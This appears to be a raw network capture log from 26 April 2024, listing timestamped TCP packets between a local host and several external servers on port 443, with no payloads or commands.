Apr 26, 2024 10:00:08.201500893 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.201627970 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.201767921 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.201812983 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.201992035 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.204060078 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.204078913 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.204374075 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.204411030 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.507745028 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.508061886 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.508083105 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.508208990 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.508702040 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.508739948 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.509277105 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.509841919 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.553931952 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.556266069 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.590917110 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.591183901 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.591422081 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.591649055 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.591857910 CEST	443	50015	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.634037018 CEST	50015	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:08.636113882 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:08.841578960 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:08.841609955 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:08.842082977 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:08.842397928 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:08.842411041 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:09.163341045 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.163594961 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.163645983 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:09.163665056 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.163753033 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.163788080 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:09.163794994 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.163897038 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.163943052 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:09.163949966 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.164223909 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.164278984 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:09.173883915 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:09.185817003 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:09.185866117 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:09.187680960 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:09.193675995 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:09.193876982 CEST	443	50017	172.217.3.68	192.168.2.4
Apr 26, 2024 10:00:09.194406033 CEST	50016	443	192.168.2.4	172.67.173.130
Apr 26, 2024 10:00:09.194427967 CEST	443	50016	172.67.173.130	192.168.2.4
Apr 26, 2024 10:00:09.247318983 CEST	50017	443	192.168.2.4	172.217.3.68
Apr 26, 2024 10:00:09.885411978 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:09.885518074 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:09.885582924 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:09.885859966 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:09.885884047 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.164534092 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.164855003 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.164891005 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.166543961 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.170893908 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.171998024 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.172091961 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.172204018 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.211622000 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.211649895 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.257512093 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.729989052 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.730112076 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.732325077 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.732867002 CEST	50018	443	192.168.2.4	104.21.67.35
Apr 26, 2024 10:00:10.732909918 CEST	443	50018	104.21.67.35	192.168.2.4
Apr 26, 2024 10:00:10.868844986 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:10.868913889 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:10.869194031 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:10.869231939 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:10.869271040 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:10.869482994 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:10.869492054 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:10.869529963 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:10.869705915 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:10.869720936 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:10.899204969 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:10.899226904 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:10.899422884 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:10.899462938 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:10.899467945 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.157572031 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.157845974 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.157877922 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.158804893 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.158868074 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.159882069 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.159955978 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.160085917 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.160118103 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.160824060 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.161000013 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.161012888 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.162435055 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.162486076 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.162722111 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.162796021 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.162832022 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.195059061 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.195275068 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:11.195287943 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.197164059 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.197226048 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:11.197535038 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:11.197613001 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.197690010 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:11.197699070 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.208116055 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.211673975 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.211715937 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.211721897 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.242919922 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:11.258547068 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.427191019 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.449933052 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.449943066 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.449971914 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.449978113 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.449980021 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.450009108 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.450040102 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.450074911 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.450103998 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.477648020 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.477663994 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.477737904 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.477755070 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.477787971 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.524173021 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.525588989 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.525760889 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.525811911 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:11.526365995 CEST	50020	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:11.526384115 CEST	443	50020	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:11.578421116 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.578434944 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.578495979 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.578505993 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.578543901 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.578591108 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.578591108 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.578607082 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.578660011 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.601618052 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.601634026 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.601692915 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.601726055 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.601769924 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.620377064 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.620409966 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.620445967 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.620462894 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.620482922 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.620507002 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.626410007 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.626475096 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.626488924 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.626511097 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.626568079 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.626782894 CEST	50019	443	192.168.2.4	151.101.194.137
Apr 26, 2024 10:00:11.626808882 CEST	443	50019	151.101.194.137	192.168.2.4
Apr 26, 2024 10:00:11.719212055 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.719510078 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:11.719568968 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.720120907 CEST	50021	443	192.168.2.4	172.67.211.217
Apr 26, 2024 10:00:11.720134020 CEST	443	50021	172.67.211.217	192.168.2.4
Apr 26, 2024 10:00:12.025312901 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.025326014 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.025389910 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.025648117 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.025657892 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.416208982 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.416671038 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.416686058 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.417167902 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.417723894 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.417723894 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.417737961 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.417798042 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.417800903 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.462121964 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.462129116 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.732556105 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.732615948 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:12.732649088 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.732728004 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.733247042 CEST	50023	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:12.733258963 CEST	443	50023	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:13.317126036 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.317213058 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.317306995 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.317650080 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.317688942 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.558249950 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.558331013 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.558406115 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.558621883 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.558670998 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.641961098 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.642215014 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.642244101 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.643141031 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.643207073 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.644263983 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.644330025 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.644372940 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.692110062 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.696902037 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.696955919 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:13.743860006 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:13.882461071 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.882739067 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.882765055 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.883676052 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.883735895 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.884061098 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.884182930 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.884191990 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.928123951 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.931358099 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:13.931380987 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:13.978256941 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.008009911 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.008071899 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.008161068 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.008233070 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.008233070 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.008274078 CEST	443	50025	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.008332968 CEST	50025	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.008655071 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.008718967 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.008799076 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.008939981 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.008974075 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.235424042 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.235481024 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.235507965 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.235637903 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.235660076 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.235675097 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.235698938 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.235721111 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.239171982 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.246263027 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.264168978 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.264197111 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.264322042 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.264338017 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.264439106 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.267416000 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.275476933 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.275717020 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.275727987 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.321691036 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.334920883 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.335273981 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.335330963 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.335639954 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.336963892 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.337030888 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.337049007 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.380136967 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.384589911 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.389120102 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.399702072 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.399748087 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.399873972 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.399888992 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.400137901 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.411801100 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.419378042 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.419934988 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.419941902 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.426848888 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.426896095 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.426927090 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.426944017 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.427139997 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.437700987 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.448406935 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.448451042 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.448630095 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.448677063 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.448964119 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.459126949 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.468810081 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.468842030 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.468874931 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.468893051 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.469357014 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.478607893 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.488184929 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.488235950 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.488399029 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.488410950 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.488500118 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.498056889 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.498120070 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.498298883 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.498307943 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.512414932 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.512461901 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.512490988 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.512496948 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.512634993 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.512852907 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.513262987 CEST	50028	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.513297081 CEST	443	50028	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.578655005 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.578686953 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.578779936 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.579097033 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.579118013 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.672560930 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.672837019 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.672867060 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.672902107 CEST	443	50032	35.190.80.1	192.168.2.4
Apr 26, 2024 10:00:14.672945976 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.672997952 CEST	50032	443	192.168.2.4	35.190.80.1
Apr 26, 2024 10:00:14.901782990 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.902091980 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.902108908 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.902386904 CEST	443	50033	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:14.902834892 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.902834892 CEST	50033	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:14.902849913 CEST	443	50033	142.250.217.228	192.168.2.4
